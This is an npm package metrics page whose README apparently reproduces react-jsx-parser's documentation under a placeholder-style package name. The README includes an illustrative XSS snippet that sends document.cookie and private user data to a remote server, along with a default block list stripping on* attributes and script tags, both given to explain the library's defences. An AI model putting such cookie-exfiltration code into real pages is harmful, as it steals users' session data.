Gathering detailed insights and metrics for @hutechwebsite/perspiciatis-modi-voluptates-ea
Gathering detailed insights and metrics for @hutechwebsite/perspiciatis-modi-voluptates-ea
npm install @hutechwebsite/perspiciatis-modi-voluptates-ea
Typescript
Module System
Node Version
NPM Version
JavaScript (100%)
Total Downloads
121
Last Day
3
Last Week
6
Last Month
15
Last Year
121
2,213 Commits
1 Branches
1 Contributors
Latest Version
1.0.0
Package Id
@hutechwebsite/perspiciatis-modi-voluptates-ea@1.0.0
Unpacked Size
19.70 kB
Size
7.83 kB
File Count
8
NPM Version
10.5.0
Node Version
20.12.2
Publised On
05 May 2024
Cumulative downloads
Total Downloads
Last day
0%
3
Compared to previous day
Last week
0%
6
Compared to previous week
Last month
650%
15
Compared to previous month
Last year
0%
121
Compared to previous year
27
A React component which can parse JSX and output rendered React Components.
1import React from 'react' 2import JsxParser from 'react-jsx-parser' 3import Library from 'some-library-of-components' 4 5class InjectableComponent extends Component { 6 static defaultProps = { 7 eventHandler: () => {} 8 } 9 // ... inner workings of InjectableComponent 10} 11 12const MyComponent = () => ( 13 <JsxParser 14 bindings={{ 15 foo: 'bar', 16 myEventHandler: () => { /* ... do stuff ... */ }, 17 }} 18 components={{ InjectableComponent, Library }} 19 jsx={` 20 <h1>Header</h1> 21 <InjectableComponent eventHandler={myEventHandler} truthyProp /> 22 <Library.SomeComponent someProp={foo} calc={1 + 1} stringProp="foo" /> 23 <Library.DataFetcher>((data) => <div>{data.name}</div>)</Library.DataFetcher> 24 `} 25 /> 26)
Because InjectableComponent
is passed into the JsxParser.props.components
prop, it is treated as a known element
type, and created using React.createElement(...)
when parsed out of the JSX. You can also pass in a whole collection
of components, as shown by the Library
binding, and then access the individual items with LibraryName.ComponentName
.
Finally, a note about property bindings. The JsxParser
can handle several types of binding:
true
bindings, such as <InjectableComponent truthyProp />
(equivalent to truthyProp={true}
)stringProp="foo"
calc={1 + 1}
eventHandler={myEventHandler}
(note that this requires a match in bindings
)(item) => <p>{item.name}</p>
The component does not support inline function declarations, such as:
onClick={function (event) { /* do stuff */ }}
, oronKeyPress={event => { /* do stuff */}}
() => { return <p>This will not work</p> }
This is to prevent inadvertent XSS attack vectors. Since the primary use of this component is to allow JSX to be stored server-side, and then late-interpreted at the client-side, this restriction prevents a malicious user from stealing info by executing a situation like:
1<JsxParser 2 bindings={{ userInfo: { private: 'data' } }} 3 onClick={() => { 4 fetch('/some/remote/server', { 5 body: JSON.stringify({ cookies: document.cookie, userInfo }) 6 }) 7 }} 8/>
1// Import desired set of components 2import { ComponentA, ComponentB } from 'somePackage/Components' 3import ComponentC from 'somePackage/ComponentC' 4import ComponentD from 'somePackage/ComponentD' 5... 6// Load an HTML or XML fragment from a remote API 7const dynamicHtml = loadRemoteData() 8... 9// Within your component's render method, bind these components and the fragment as props 10<JsxParser 11 bindings={bindings} 12 components={{ ComponentA, ComponentB, ComponentC, ComponentD }} 13 jsx={dynamicHtml} 14/>
Any ComponentA
, ComponentB
, ComponentC
or ComponentD
tags in the dynamically loaded XML/HTML fragment will be rendered as React components. Any unrecognized tags will be handled by React
.
Note: Non-standard tags may throw errors and warnings, but will typically be rendered in a reasonable way.
When rendering HTML, standards-adherent editors will render img
, hr
, br
, and other
void elements with no trailing />
. While this is valid HTML, it is not valid JSX. If you wish to opt-in to a more HTML-like parsing style, set the autoCloseVoidElements
prop to true
.
1// <hr> has no closing tag, which is valid HTML, but not valid JSX 2<JsxParser jsx="<hr><div className='foo'>Foo</div>" /> 3// Renders: null 4 5// <hr></hr> is invalid HTML, but valid JSX 6<JsxParser jsx="<hr></hr><div className='foo'>Foo</div>" /> 7// Renders: <hr><div class='foo'>Foo</div> 8 9// This is valid HTML, and the `autoCloseVoidElements` prop allows it to render 10<JsxParser autoCloseVoidElements jsx="<hr><div className='foo'>Foo</div>" /> 11// Renders: <hr><div class='foo'>Foo</div> 12 13// This would work in a browser, but will no longer parse with `autoCloseVoidElements` 14<JsxParser autoCloseVoidElements jsx="<hr></hr><div className='foo'>Foo</div>" /> 15// Renders: null
1JsxParser.defaultProps = { 2 allowUnknownElements: true, // by default, allow unrecognized elements 3 // if false, unrecognized elements like <foo> are omitted and reported via onError 4 5 autoCloseVoidElements: false, // by default, unclosed void elements will not parse. See examples 6 7 bindings: {}, // by default, do not add any additional bindings 8 9 blacklistedAttrs: [/^on.+/i], // default: removes `on*` attributes (onClick, onChange, etc.) 10 // any attribute name which matches any of these RegExps will be omitted entirely 11 12 blacklistedTags: ['script'], // by default, removes all <script> tags 13 14 className: '', // space-delimited classes to add to wrapper (ignored if renderInWrapper=false) 15 16 components: {}, // an object map of component tag-names to their definitions - see above 17 // components must extend React.Component, React.PureComponent, or be a Function 18 19 componentsOnly: false, // non-component HTML tags are allowed by default, omitted if true 20 21 disableFragments: false, // if true, React <Fragment />s will not be used. 22 // Note: This introduces subtle errors with regard to white-space, and is provided only for 23 // backward compatibility with React 15.x 24 25 disableKeyGeneration: false, // if true, rendering will not automatically generate `key` props. 26 // Note: This may result in the "Child elements should have a unique 'key' prop " React error. 27 28 jsx: '', // the jsx string to be parsed & rendered 29 30 onError: () => {}, // if specified, any rendering errors are reported via this method 31 32 showWarnings: false, // if true showWarnings, rendering errors are output with console.warn 33 34 renderError: undefined, // if specified, this function can be used to render errors as a fallback 35 36 renderInWrapper: true, // if false, the HTML output will have no <div> wrapper 37 38 renderUnrecognized: tagName => null, // unrecognized tags are rendered via this method 39}
If your application needs to support older browsers, like IE11
, import from react-jsx-parser/dist/es5/react-jsx-parser.min.js
,
which transpiles the acorn-jsx
dependency down to ES5, and also adds additional polyfill support for code used in this package.
Note: not recommended for implementations which only support modern browsers, as the ES5 version is roughly 30% larger.
No vulnerabilities found.
No security vulnerabilities found.